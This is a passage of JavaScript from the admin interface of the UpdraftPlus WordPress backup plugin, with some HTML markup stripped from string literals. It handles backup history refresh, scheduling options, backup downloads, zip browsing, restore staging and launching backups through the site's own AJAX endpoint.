("+status+")"; jQuery('#updraft-poplog-content').append(msg); console.log(response); } } }); } function updraft_showlastbackup() { updraft_send_command('get_fragment', 'last_backup_html', function(resp) { response = resp.output; if (lastbackup_laststatus == response) { setTimeout(function() { updraft_showlastbackup(); }, 7000); } else { jQuery('#updraft_last_backup').html(response); } lastbackup_laststatus = response; }, { type: 'GET' }); } var updraft_historytimer = 0; var calculated_diskspace = 0; var updraft_historytimer_notbefore = 0; var updraft_history_lastchecksum = false; function updraft_historytimertoggle(forceon) { if (!updraft_historytimer || forceon == 1) { updraft_updatehistory(0, 0); updraft_historytimer = setInterval(function() { updraft_updatehistory(0, 0);}, 30000); if (!calculated_diskspace) { updraftplus_diskspace(); calculated_diskspace = 1; } } else { clearTimeout(updraft_historytimer); updraft_historytimer = 0; } } /** * Update the HTML for the 'existing backups' table; optionally, after local/remote re-scanning. * Nothing is returned; any update necessary is performed directly on the DOM. * * @param {Integer} rescan - first, re-scan the local storage (0 or 1) * @param {Integer} remotescan - first, re-scan the remote storage (you must also set rescan to 1 to use this) * @param {Integer} debug - if 1, then also request debugging information and log it to the console * @param {Integer} backup_count - the amount of backups we want to display */ function updraft_updatehistory(rescan, remotescan, debug, backup_count) { if ('undefined' != typeof updraft_restore_screen && updraft_restore_screen) return; if ('undefined' === typeof debug) { debug = jQuery('#updraft_debug_mode').is(':checked') ? 1 : 0; } var unixtime = Math.round(new Date().getTime() / 1000); if (1 == rescan || 1 == remotescan) { updraft_historytimer_notbefore = unixtime + 30; } else { if (unixtime < updraft_historytimer_notbefore && 'undefined' === typeof backup_count) { console.log("Update history skipped: "+unixtime.toString()+" < "+updraft_historytimer_notbefore.toString()); return; } } if ('undefined' === typeof backup_count) { backup_count = 0; } if (rescan == 1) { if (remotescan == 1) { updraft_history_lastchecksum = false; jQuery('#updraft-navtab-backups-content .updraft_existing_backups').html('

'+updraftlion.rescanningremote+'

'); } else { updraft_history_lastchecksum = false; jQuery('#updraft-navtab-backups-content .updraft_existing_backups').html('

'+updraftlion.rescanning+'

'); } } var what_op = remotescan ? 'remotescan' : (rescan ? 'rescan' : false); var data = { operation: what_op, debug: debug, backup_count: backup_count, } updraft_send_command('rescan', data, function(resp) { if (resp.hasOwnProperty('logs_exist') && resp.logs_exist) { // Show the "most recently modified log" link, in case it was previously hidden (if there were no logs until now) jQuery('#updraft_lastlogmessagerow .updraft-log-link').show(); } if (resp.hasOwnProperty('migrate_tab') && resp.migrate_tab) { if (!jQuery('#updraft-navtab-migrate').hasClass('nav-tab-active')) { jQuery('#updraft_migrate_tab_alt').html(''); jQuery('#updraft_migrate').replaceWith(jQuery(resp.migrate_tab).find('#updraft_migrate')); setup_migrate_tabs(); } } if (resp.hasOwnProperty('web_server_disk_space')) { if ('' == resp.web_server_disk_space) { console.log("UpdraftPlus: web_server_disk_space is empty"); if (jQuery('#updraft-navtab-backups-content .updraft-server-disk-space').length) { jQuery('#updraft-navtab-backups-content .updraft-server-disk-space').slideUp('slow', function() { jQuery(this).remove(); }); } } else { if (jQuery('#updraft-navtab-backups-content .updraft-server-disk-space').length) { jQuery('#updraft-navtab-backups-content .updraft-server-disk-space').replaceWith(resp.web_server_disk_space); } else { jQuery('#updraft-navtab-backups-content .updraft-disk-space-actions').prepend(resp.web_server_disk_space); } } } update_backupnow_modal(resp); if (resp.hasOwnProperty('backupnow_file_entities')) { impossible_increment_entities = resp.backupnow_file_entities; } if (resp.n != null) { jQuery('#updraft-existing-backups-heading').html(resp.n); } if (resp.t != null) { if (resp.cksum != null) { if (resp.cksum == updraft_history_lastchecksum) { // Avoid unnecessarily refreshing the HTML if the data is the same. This helps avoid resetting the DOM (annoying when debugging), and keeps user row selections. return; } updraft_history_lastchecksum = resp.cksum; } jQuery('#updraft-navtab-backups-content .updraft_existing_backups').html(resp.t); updraft_backups_selection.checkSelectionStatus(); if (resp.data) { console.log(resp.data); } } }); } /** * This function will check if the passed in response contains content for the backup now modal that needs updating on page * * @param {array} response - an array that may contain backupnow_modal content that needs updating */ function update_backupnow_modal(response) { if (response.hasOwnProperty('modal_afterfileoptions')) { jQuery('.backupnow_modal_afterfileoptions').html(response.modal_afterfileoptions); } } /** * Exclude entities hidden input field update * * @param {string} include_entity_name - backup entity name */ function updraft_exclude_entity_update(include_entity_name) { var exclude_entities = []; jQuery('#updraft_include_'+include_entity_name+'_exclude_container .updraft_exclude_entity_wrapper .updraft_exclude_entity_field').each(function() { var data_val = jQuery(this).data('val').toString().trim(); if ('' != data_val) { exclude_entities.push(data_val); } }); jQuery('#updraft_include_'+include_entity_name+'_exclude').val(exclude_entities.join(',')); } /** * Check uniqueness of exclude rule in include_backup_file * * @param {string} exclude_rule - exclude rule * @param {string} include_backup_file - the backup file type on which the exclude_rule will be applied * * @return {boolean} true if exclude_rule is unique otherwise false */ function updraft_is_unique_exclude_rule(exclude_rule, include_backup_file) { existing_exclude_rules_str = jQuery('#updraft_include_'+include_backup_file+'_exclude').val(); existing_exclude_rules = existing_exclude_rules_str.split(','); if (jQuery.inArray(exclude_rule, existing_exclude_rules) > -1) { alert(updraftlion.duplicate_exclude_rule_error_msg) return false; } else { return true; } } var updraft_interval_week_val = false; var updraft_interval_month_val = false; function updraft_intervals_monthly_or_not(selector_id, now_showing) { var selector = '#updraft-navtab-settings-content #'+selector_id; var current_length = jQuery(selector+' option').length; var is_monthly = ('monthly' == now_showing) ? true : false; var existing_is_monthly = false; if (current_length > 10) { existing_is_monthly = true; } if (!is_monthly && !existing_is_monthly) { return; } if (is_monthly && existing_is_monthly) { if ('monthly' == now_showing) { // existing_is_monthly does not mean the same as now_showing=='monthly'. existing_is_monthly refers to the drop-down, not whether the drop-down is being displayed. We may need to add these words back. jQuery('.updraft_monthly_extra_words_'+selector_id).remove(); jQuery(selector).before(''+updraftlion.day+' ').after(' '+updraftlion.inthemonth+' '); } return; } jQuery('.updraft_monthly_extra_words_'+selector_id).remove(); if (is_monthly) { // Save the old value updraft_interval_week_val = jQuery(selector+' option:selected').val(); jQuery(selector).html(updraftlion.mdayselector).before(''+updraftlion.day+' ').after(' '+updraftlion.inthemonth+' '); var select_mday = (updraft_interval_month_val === false) ? 1 : updraft_interval_month_val; // Convert from day of the month (ordinal) to option index (starts at 0) select_mday = select_mday - 1; jQuery(selector+" option").eq(select_mday).prop('selected', true); } else { // Save the old value updraft_interval_month_val = jQuery(selector+' option:selected').val(); jQuery(selector).html(updraftlion.dayselector); var select_day = (updraft_interval_week_val === false) ? 1 : updraft_interval_week_val; jQuery(selector+" option").eq(select_day).prop('selected', true); } } function updraft_check_same_times() { var dbmanual = 0; var file_interval = jQuery('#updraft-navtab-settings-content .updraft_interval').val(); if (file_interval == 'manual') { // jQuery('#updraft_files_timings').css('opacity', '0.25'); jQuery('#updraft-navtab-settings-content .updraft_files_timings').hide(); } else { // jQuery('#updraft_files_timings').css('opacity', 1); jQuery('#updraft-navtab-settings-content .updraft_files_timings').show(); } if ('weekly' == file_interval || 'fortnightly' == file_interval || 'monthly' == file_interval) { updraft_intervals_monthly_or_not('updraft_startday_files', file_interval); jQuery('#updraft-navtab-settings-content #updraft_startday_files').show(); } else { jQuery('.updraft_monthly_extra_words_updraft_startday_files').remove(); jQuery('#updraft-navtab-settings-content #updraft_startday_files').hide(); } var db_interval = jQuery('#updraft-navtab-settings-content .updraft_interval_database').val(); if (db_interval == 'manual') { dbmanual = 1; // jQuery('#updraft_db_timings').css('opacity', '0.25'); jQuery('#updraft-navtab-settings-content .updraft_db_timings').hide(); } if ('weekly' == db_interval || 'fortnightly' == db_interval || 'monthly' == db_interval) { updraft_intervals_monthly_or_not('updraft_startday_db', db_interval); jQuery('#updraft-navtab-settings-content #updraft_startday_db').show(); } else { jQuery('.updraft_monthly_extra_words_updraft_startday_db').remove(); jQuery('#updraft-navtab-settings-content #updraft_startday_db').hide(); } if (db_interval == file_interval) { // jQuery('#updraft_db_timings').css('opacity','0.25'); jQuery('#updraft-navtab-settings-content .updraft_db_timings').hide(); // jQuery('#updraft_same_schedules_message').show(); if (0 == dbmanual) { jQuery('#updraft-navtab-settings-content .updraft_same_schedules_message').show(); } else { jQuery('#updraft-navtab-settings-content .updraft_same_schedules_message').hide(); } } else { jQuery('#updraft-navtab-settings-content .updraft_same_schedules_message').hide(); if (0 == dbmanual) { // jQuery('#updraft_db_timings').css('opacity', '1'); jQuery('#updraft-navtab-settings-content .updraft_db_timings').show(); } } } // Visit the site in the background every 3.5 minutes - ensures that backups can progress if you've got the UD settings page open if ('undefined' !== typeof updraft_siteurl) { setInterval(function() { jQuery.get(updraft_siteurl+'/wp-cron.php');}, 210000); } function updraft_activejobs_delete(jobid) { updraft_aborted_jobs[jobid] = 1; jQuery('#updraft-jobid-'+jobid).closest('.updraft_row').addClass('deleting'); updraft_send_command('activejobs_delete', jobid, function(resp) { var job_row = jQuery('#updraft-jobid-'+jobid).closest('.updraft_row'); job_row.addClass('deleting'); if (resp.ok == 'Y') { jQuery('#updraft-jobid-'+jobid).html(resp.m); job_row.remove(); // inpage backup - Close modal if canceling backup if (jQuery('#updraft-backupnow-inpage-modal').dialog('isOpen')) jQuery('#updraft-backupnow-inpage-modal').dialog('close'); updraft_show_success_modal({ message: updraft_active_job_is_clone(jobid) ? updraftlion.clone_backup_aborted : updraftlion.backup_aborted, icon: 'no-alt', classes: 'warning' }); } else if ('N' == resp.ok) { job_row.removeClass('deleting'); alert(resp.m); } else { job_row.removeClass('deleting'); alert(updraftlion.unexpectedresponse); console.log(resp); } }); } function updraftplus_diskspace_entity(key) { jQuery('#updraft_diskspaceused_'+key).html(''+updraftlion.calculating+''); updraft_send_command('get_fragment', { fragment: 'disk_usage', data: key }, function(response) { jQuery('#updraft_diskspaceused_'+key).html(response.output); }, { type: 'GET' }); } /** * Checks if the specified job is a clone * * @param {string} job_id The job ID * * @return {int} */ function updraft_active_job_is_clone(job_id) { return updraft_clone_jobs.filter(function(val) { return val == job_id; }).length; } /** * Open a modal with content fetched from an iframe * * @param {String} getwhat - the subaction parameter to pass to UD's AJAX handler * @param {String} title - the title for the modal */ function updraft_iframe_modal(getwhat, title) { var width = 780; var height = 500; jQuery('#updraft-iframe-modal-innards').html(''); jQuery('#updraft-iframe-modal').dialog({ title: title, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { jQuery(this).dialog('option', 'width', width), jQuery(this).dialog('option', 'minHeight', 260); if (jQuery(window).height() > height) { jQuery(this).dialog('option', 'height', height); } else { jQuery(this).dialog('option', 'height', jQuery(window).height()-30); } } }).dialog('open'); } function updraft_html_modal(showwhat, title, width, height) { jQuery('#updraft-iframe-modal-innards').html(showwhat); var updraft_html_modal_buttons = {}; if (width < 450) { updraft_html_modal_buttons[updraftlion.close] = function() { jQuery(this).dialog("close"); }; } jQuery('#updraft-iframe-modal').dialog({ title: title, buttons: updraft_html_modal_buttons, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { jQuery(this).dialog('option', 'width', width), jQuery(this).dialog('option', 'minHeight', 260); if (jQuery(window).height() > height) { jQuery(this).dialog('option', 'height', height); } else { jQuery(this).dialog('option', 'height', jQuery(window).height()-30); } } }).dialog('open'); } function updraftplus_diskspace() { jQuery('#updraft-navtab-backups-content .updraft_diskspaceused').html(''+updraftlion.calculating+''); updraft_send_command('get_fragment', { fragment: 'disk_usage', data: 'updraft' }, function(response) { jQuery('#updraft-navtab-backups-content .updraft_diskspaceused').html(response.output); }, { type: 'GET' }); } var lastlog_lastmessage = ""; function updraftplus_deletefromserver(timestamp, type, findex) { if (!findex) findex=0; var pdata = { stage: 'delete', timestamp: timestamp, type: type, findex: findex }; updraft_send_command('updraft_download_backup', pdata, null, { action: 'updraft_download_backup', nonce: updraft_download_nonce, nonce_key: '_wpnonce' }); } function updraftplus_downloadstage2(timestamp, type, findex) { location.href =ajaxurl+'?_wpnonce='+updraft_download_nonce+'×tamp='+timestamp+'&type='+type+'&stage=2&findex='+findex+'&action=updraft_download_backup'; } function updraftplus_show_contents(timestamp, type, findex) { var modal_content = '

' + updraftlion.zip_file_contents_info + ' -

'+updraftlion.browse_download_link+'
'; updraft_html_modal(modal_content, updraftlion.zip_file_contents, 780, 500); zip_files_jstree('zipbrowser', timestamp, type, findex); } /** * Creates the jstree and makes a call to the backend to dynamically get the tree nodes * * @param {string} entity Entity for the jstree * @param {integer} timestamp Timestamp of the jstree * @param {string} type Type of file to display in the JS tree * @param {array} findex Index of Zip */ function zip_files_jstree(entity, timestamp, type, findex) { jQuery('#updraft_zip_files_jstree').jstree({ "core": { "multiple": false, "data": function (nodeid, callback) { updraft_send_command('get_jstree_directory_nodes', {entity:entity, node:nodeid, timestamp:timestamp, type:type, findex:findex}, function(response) { if (response.hasOwnProperty('error')) { alert(response.error); } else { callback.call(this, response.nodes); } }, { error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); jQuery('#updraft_zip_files_jstree').html('

'+resp.fatal_error_message+'

'); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; jQuery('#updraft_zip_files_jstree').html('

'+error_message+'

'); console.log(error_message); alert(error_message); console.log(response); } } }); }, "error": function(error) { alert(error); console.log(error); }, }, "search": { "show_only_matches": true }, "plugins": ["search", "sort"], }); // Update modal title once tree loads jQuery('#updraft_zip_files_jstree').on('ready.jstree', function(e, data) { jQuery('#updraft-iframe-modal').dialog('option', 'title', updraftlion.zip_file_contents + ': ' + data.instance.get_node('#').children[0]) }); // Search function for jstree, this will hide nodes that don't match the search var timeout = false; jQuery('#zip_files_jstree_search').on('keyup', function () { if (timeout) { clearTimeout(timeout); } timeout = setTimeout(function () { var value = jQuery('#zip_files_jstree_search').val(); jQuery('#updraft_zip_files_jstree').jstree(true).search(value); }, 250); }); // Detect change on the tree and update the input that has been marked as editing jQuery('#updraft_zip_files_jstree').on("changed.jstree", function (e, data) { jQuery('#updraft_zip_path_text').text(data.node.li_attr.path); if (data.node.li_attr.size) { jQuery('#updraft_zip_size_text').text(data.node.li_attr.size); jQuery('#updraft_zip_download_item').show(); } else { jQuery('#updraft_zip_size_text').text(''); jQuery('#updraft_zip_download_item').hide(); } }); jQuery('#updraft_zip_download_item').on('click', function(event) { event.preventDefault(); var path = jQuery('#updraft_zip_path_text').text(); updraft_send_command('get_zipfile_download', {path:path, timestamp:timestamp, type:type, findex:findex}, function(response) { if (response.hasOwnProperty('error')) { alert(response.error); } else if (response.hasOwnProperty('path')) { location.href =ajaxurl+'?_wpnonce='+updraft_download_nonce+'×tamp='+timestamp+'&type='+type+'&stage=2&findex='+findex+'&filepath='+response.path+'&action=updraft_download_backup'; } else { alert(updraftlion.download_timeout); } }, { error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } } }); }); } /** * This function will clean up the updraft downloader UI * * @param {object} item - the object pressed in the UI * @param {string} what - the file entity */ function remove_updraft_downloader(item, what) { jQuery(item).closest('.updraftplus_downloader').fadeOut().remove(); if (0 == jQuery('.updraftplus_downloader_container_'+what+' .updraftplus_downloader').length) jQuery('.updraftplus_downloader_container_'+what).remove(); } /** * This function will prepare the downloader UI and kick of the request to download the file entities. * * @param {string} base - the base string for the id * @param {integer} backup_timestamp - the backup timestamp * @param {string} what - the file entity * @param {string} whicharea - the area we want to append the downloader * @param {string} set_contents - the contents we want to download * @param {string} prettydate - the pretty backup date * @param {boolean} async - boolean to indicate if this is a async request or not */ function updraft_downloader(base, backup_timestamp, what, whicharea, set_contents, prettydate, async) { if (typeof set_contents !== "string") set_contents = set_contents.toString(); jQuery('.ud_downloadstatus').show(); var set_contents = set_contents.split(','); var prdate = (prettydate) ? prettydate : backup_timestamp; // Old-style, from when it was a form // var data = jQuery('#updraft-navtab-backups-content .uddownloadform_'+what+'_'+backup_timestamp+'_'+set_contents[i]).serialize(); var nonce = jQuery('#updraft-navtab-backups-content .uddownloadform_'+what+'_'+backup_timestamp+'_'+set_contents[0]).data('wp_nonce').toString(); if (!jQuery('.updraftplus_downloader_container_'+what).length) { jQuery(whicharea).append('
'); jQuery('.updraftplus_downloader_container_' + what).append('' + updraftlion.download + ' ' + what + ' (' + prdate + '):'); } for (var i = 0; i < set_contents.length; i++) { // Create somewhere for the status to be found var stid = base+backup_timestamp+'_'+what+'_'+set_contents[i]; var stid_selector = '.'+stid; var show_index = parseInt(set_contents[i]); show_index++; var itext = (0 == set_contents[i]) ? '' : ' ('+show_index+')'; if (!jQuery(stid_selector).length) { jQuery('.updraftplus_downloader_container_'+what).append('
'+what+itext+':
'+updraftlion.begunlooking+'
'); jQuery(stid_selector).data('downloaderfor', { base: base, nonce: backup_timestamp, what: what, index: set_contents[i] }); setTimeout(function() { updraft_activejobs_update(true); }, 1500); } jQuery(stid_selector).data('lasttimebegan', (new Date).getTime()); } // Now send the actual request to kick it all off async = async ? true : false; var data = { type: what, timestamp: backup_timestamp, findex: set_contents }; var options = { action: 'updraft_download_backup', nonce_key: '_wpnonce', nonce: nonce, timeout: 10000, async: async } updraft_send_command('updraft_download_backup', data, null, options); // We don't want the form to submit as that replaces the document return false; } /** * Parse JSON string, including automatically detecting unwanted extra input and skipping it * * @param {string} json_mix_str - JSON string which need to parse and convert to object * @param {boolean} analyse - if true, then the return format will contain information on the parsing, and parsing will skip attempting to JSON.parse() the entire string (will begin with trying to locate the actual JSON) * * @throws SyntaxError|String (including passing on what JSON.parse may throw) if a parsing error occurs. * * @returns Mixed parsed JSON object. Will only return if parsing is successful (otherwise, will throw). If analyse is true, then will rather return an object with properties (mixed)parsed, (integer)json_start_pos and (integer)json_end_pos */ function ud_parse_json(json_mix_str, analyse) { analyse = ('undefined' === typeof analyse) ? false : true; // Just try it - i.e. the 'default' case where things work (which can include extra whitespace/line-feeds, and simple strings, etc.). if (!analyse) { try { var result = JSON.parse(json_mix_str); return result; } catch (e) { console.log('UpdraftPlus: Exception when trying to parse JSON (1) - will attempt to fix/re-parse based upon first/last curly brackets'); console.log(json_mix_str); } } var json_start_pos = json_mix_str.indexOf('{'); var json_last_pos = json_mix_str.lastIndexOf('}'); // Case where some php notice may be added after or before json string if (json_start_pos > -1 && json_last_pos > -1) { var json_str = json_mix_str.slice(json_start_pos, json_last_pos + 1); try { var parsed = JSON.parse(json_str); if (!analyse) { console.log('UpdraftPlus: JSON re-parse successful'); } return analyse ? { parsed: parsed, json_start_pos: json_start_pos, json_last_pos: json_last_pos + 1 } : parsed; } catch (e) { console.log('UpdraftPlus: Exception when trying to parse JSON (2) - will attempt to fix/re-parse based upon bracket counting'); var cursor = json_start_pos; var open_count = 0; var last_character = ''; var inside_string = false; // Don't mistake this for a real JSON parser. Its aim is to improve the odds in real-world cases seen, not to arrive at universal perfection. while ((open_count > 0 || cursor == json_start_pos) && cursor <= json_last_pos) { var current_character = json_mix_str.charAt(cursor); if (!inside_string && '{' == current_character) { open_count++; } else if (!inside_string && '}' == current_character) { open_count--; } else if ('"' == current_character && '\\' != last_character) { inside_string = inside_string ? false : true; } last_character = current_character; cursor++; } console.log("Started at cursor="+json_start_pos+", ended at cursor="+cursor+" with result following:"); console.log(json_mix_str.substring(json_start_pos, cursor)); try { var parsed = JSON.parse(json_mix_str.substring(json_start_pos, cursor)); console.log('UpdraftPlus: JSON re-parse successful'); return analyse ? { parsed: parsed, json_start_pos: json_start_pos, json_last_pos: cursor } : parsed; } catch (e) { // Throw it again, so that our function works just like JSON.parse() in its behaviour. throw e; } } } throw "UpdraftPlus: could not parse the JSON"; } // Catch HTTP errors if the download status check returns them jQuery(document).ajaxError(function(event, jqxhr, settings, exception) { if (exception == null || exception == '') return; if (jqxhr.responseText == null || jqxhr.responseText == '') return; console.log("Error caught by UpdraftPlus ajaxError handler (follows) for "+settings.url); console.log(exception); if (settings.url.search(ajaxurl) == 0) { // TODO subaction=downloadstatus is no longer used. This should be adjusted to the current set-up. if (settings.url.search('subaction=downloadstatus') >= 0) { var timestamp = settings.url.match(/timestamp=\d+/); var type = settings.url.match(/type=[a-z]+/); var findex = settings.url.match(/findex=\d+/); var base = settings.url.match(/base=[a-z_]+/); findex = (findex instanceof Array) ? parseInt(findex[0].substr(7)) : 0; type = (type instanceof Array) ? type[0].substr(5) : ''; base = (base instanceof Array) ? base[0].substr(5) : ''; timestamp = (timestamp instanceof Array) ? parseInt(timestamp[0].substr(10)) : 0; if ('' != base && '' != type && timestamp >0) { var stid = base+timestamp+'_'+type+'_'+findex; jQuery('.'+stid+' .raw').html(''+updraftlion.error+' '+updraftlion.servererrorcode); } } else if (settings.url.search('subaction=restore_alldownloaded') >= 0) { // var timestamp = settings.url.match(/timestamp=\d+/); jQuery('#updraft-restore-modal-stage2a').append('
'+updraftlion.error+' '+updraftlion.servererrorcode+': '+exception); } } }); function updraft_restorer_checkstage2(doalert) { // How many left? var stilldownloading = jQuery('#ud_downloadstatus2 .file').length; if (stilldownloading > 0) { if (doalert) { alert(updraftlion.stilldownloading); } return; } // Allow pressing 'Restore' to proceed jQuery('.updraft-restore--next-step').prop('disabled', true); jQuery('#updraft-restore-modal-stage2a').html(' '+updraftlion.preparing_backup_files); updraft_send_command('restore_alldownloaded', { timestamp: jQuery('#updraft_restore_timestamp').val(), restoreopts: jQuery('#updraft_restore_form').serialize() }, function(resp, status, data) { var info = null; jQuery('#updraft_restorer_restore_options').val(''); jQuery('.updraft-restore--next-step').prop('disabled', false); try { // var resp = ud_parse_json(data); if (null == resp) { jQuery('#updraft-restore-modal-stage2a').html(updraftlion.emptyresponse); return; } var report = resp.m; if (resp.w != '') { report = report + '

' + updraftlion.warnings +'

' + resp.w + '
'; } if (resp.e != '') { report = report + '

' + updraftlion.errors+'

' + resp.e + '
'; } else { updraft_restore_stage = 3; } if (resp.hasOwnProperty('i')) { // Store the information passed back from the backup scan try { info = ud_parse_json(resp.i); // if (info.hasOwnProperty('multisite') && info.multisite && info.hasOwnProperty('same_url') && info.same_url) { if (info.hasOwnProperty('addui')) { console.log("Further UI options are being displayed"); var addui = info.addui; report += '
'+addui+'
'; if (typeof JSON == 'object' && typeof JSON.stringify == 'function') { // If possible, remove from the stored info, to prevent passing back potentially large amounts of unwanted data delete info.addui; resp.i = JSON.stringify(info); } } if (info.hasOwnProperty('php_max_input_vars')) { php_max_input_vars = parseInt(info.php_max_input_vars); } if (info.hasOwnProperty('skipped_db_scan')) { skipped_db_scan = parseInt(info.skipped_db_scan); } } catch (err) { console.log(err); console.log(resp); } jQuery('#updraft_restorer_backup_info').val(resp.i); } else { jQuery('#updraft_restorer_backup_info').val(); } jQuery('#updraft-restore-modal-stage2a').html(report); jQuery('.updraft-restore--next-step').text(updraftlion.restore); if (jQuery('#updraft-restore-modal-stage2a .updraft_select2').length > 0) { jQuery('#updraft-restore-modal-stage2a .updraft_select2').select2(); } } catch (err) { console.log(data); console.log(err); jQuery('#updraft-restore-modal-stage2a').text(updraftlion.jsonnotunderstood+' '+updraftlion.errordata+": "+data).html(); } }, { error_callback: function(response, status, error_code, resp) { if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); jQuery('#updraft-restore-modal-stage2a').html('

'+resp.fatal_error_message+'

'); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; jQuery('#updraft-restore-modal-stage2a').html('

'+error_message+'

'); console.log(error_message); alert(error_message); console.log(response); } } }); } function updraft_downloader_status(base, nonce, what, findex) { // Short-circuit. See previous versions for the old code. return; } function updraft_downloader_status_update(download_status, response_raw) { var cancel_repeat = 0; jQuery(download_status).each(function (x, dstatus) { if (dstatus.base == '') return; var stid = dstatus.base + dstatus.timestamp + '_' + dstatus.what + '_' + dstatus.findex; var stid_selector = '.' + stid; if (dstatus.e != null) { jQuery(stid_selector + ' .raw').html('' + updraftlion.error + ' ' + dstatus.e); console.log(dstatus); } else if (dstatus.p != null) { jQuery(stid_selector + '_st .dlfileprogress').width(dstatus.p + '%'); // jQuery(stid_selector+'_st .dlsofar').html(Math.round(dstatus.s/1024)); // jQuery(stid_selector+'_st .dlsize').html(Math.round(dstatus.t/1024)); // Is a restart appropriate? // dstatus.a, if set, indicates that a) the download is incomplete and b) the value is the number of seconds since the file was last modified... if (dstatus.a != null && dstatus.a > 0) { var timenow = (new Date).getTime(); var lasttimebegan = jQuery(stid_selector).data('lasttimebegan'); // Remember that this is in milliseconds var sincelastrestart = timenow - lasttimebegan; if (dstatus.a > 90 && sincelastrestart > 60000) { console.log(dstatus.timestamp + " " + dstatus.what + " " + dstatus.findex + ": restarting download: file_age=" + dstatus.a + ", sincelastrestart_ms=" + sincelastrestart); jQuery(stid_selector).data('lasttimebegan', (new Date).getTime()); var $original_button = jQuery('#updraft-navtab-backups-content .uddownloadform_' + dstatus.what + '_' + dstatus.timestamp + '_' + dstatus.findex); var data = { type: dstatus.what, timestamp: dstatus.timestamp, findex: dstatus.findex }; var options = { action: 'updraft_download_backup', nonce_key: '_wpnonce', nonce: $original_button.data('wp_nonce').toString(), timeout: 10000 }; updraft_send_command('updraft_download_backup', data, null, options); jQuery(stid_selector).data('lasttimebegan', (new Date).getTime()); } } if (dstatus.m != null) { if (dstatus.p >= 100 && 'udrestoredlstatus_' == dstatus.base) { jQuery(stid_selector + ' .raw').html(dstatus.m); jQuery(stid_selector).fadeOut('slow', function () { remove_updraft_downloader(this, dstatus.what); updraft_restorer_checkstage2(0); }); } else if (dstatus.p >= 100 && dstatus.base == 'udclonedlstatus_') { jQuery(stid_selector + ' .raw').html(dstatus.m); jQuery(stid_selector).fadeOut('slow', function () { remove_updraft_downloader(this, dstatus.what); }); } else if (dstatus.p < 100 || dstatus.base != 'uddlstatus_') { jQuery(stid_selector + ' .raw').html(dstatus.m); } else { var file_ready_actions = updraftlion.fileready + ' ' + '(size: ' + convert_numeric_size_to_text(dstatus.s) + '). ' + updraftlion.actions + ':\ \ '; if (dstatus.hasOwnProperty('can_show_contents') && dstatus.can_show_contents) { file_ready_actions += ' '; } jQuery(stid_selector + ' .raw').html(file_ready_actions); jQuery(stid_selector + '_st').remove(); } } // dlstatus_lastlog = response_raw; } else if (dstatus.m != null) { jQuery(stid_selector + ' .raw').html(dstatus.m); } else { jQuery(stid_selector + ' .raw').html(updraftlion.jsonnotunderstood + ' (' + response_raw + ')'); cancel_repeat = 1; } }); return cancel_repeat; } /** * Converts a number of bytes into a suitable textual unit value * * @param {long} bytes * @returns string */ function convert_numeric_size_to_text(bytes) { if (1024 > bytes) { return bytes + " b"; } else if (1024 * 1024 >bytes) { return (bytes / 1024).toFixed(2) + " KB"; } else if (1024 * 1024 * 1024 > bytes ) { return (bytes / (1024 * 1024)).toFixed(2) + " MB"; } else { return (bytes / (1024 * 1024 * 1024)).toFixed(2) + " GB"; } } /** * Function that sets up a ajax call to start a backup * * @param {Integer} backupnow_nodb Indicate whether the database should be backed up: valid values are 0, 1 * @param {Integer} backupnow_nofiles Indicate whether any files should be backed up: valid values are 0, 1 * @param {Integer} backupnow_nocloud Indicate whether the backup should be uploaded to cloud storage: valid values are 0, 1 * @param {String} onlythesefileentities A csv list of file entities to be backed up * @param {String} onlythesetableentities A csv list of table entities to be backed up * @param {Array} extradata any extra data to be added * @param {String} label A optional label to be added to a backup * @param {String} only_these_cloud_services An array of remote sorage locations to be backed up to */ function updraft_backupnow_go(backupnow_nodb, backupnow_nofiles, backupnow_nocloud, onlythesefileentities, extradata, label, onlythesetableentities, only_these_cloud_services) { var params = { backupnow_nodb: backupnow_nodb, backupnow_nofiles: backupnow_nofiles, backupnow_nocloud: backupnow_nocloud, backupnow_label: label, extradata: extradata }; if ('' != onlythesefileentities) { params.onlythisfileentity = onlythesefileentities; } if ('' != onlythesetableentities) { params.onlythesetableentities = onlythesetableentities; } if ('' != only_these_cloud_services) { params.only_these_cloud_services = only_these_cloud_services; } params.always_keep = (typeof extradata.always_keep !== 'undefined') ? extradata.always_keep : 0; delete extradata.always_keep; params.incremental = (typeof extradata.incremental !== 'undefined') ? extradata.incremental : 0; delete extradata.incremental; params.db_anon_all = (typeof extradata.db_anon !== 'undefined' && typeof extradata.db_anon.all !== 'undefined') ? extradata.db_anon.all : 0; params.db_anon_non_staff = (typeof extradata.db_anon !== 'undefined' && typeof extradata.db_anon.non_staff !== 'undefined') ? extradata.db_anon.non_staff : 0; params.db_anon_wc_orders = (typeof extradata.db_anon !== 'undefined' && typeof extradata.db_anon.wc_orders !== 'undefined') ? extradata.db_anon.wc_orders : 0; if ('undefined' !== typeof extradata.db_anon) { delete extradata.db_anon.all; delete extradata.db_anon.non_staff; delete extradata.db_anon.wc_orders; } // Display Request start message if (!jQuery('.updraft_requeststart').length) { var requeststart_el = jQuery('
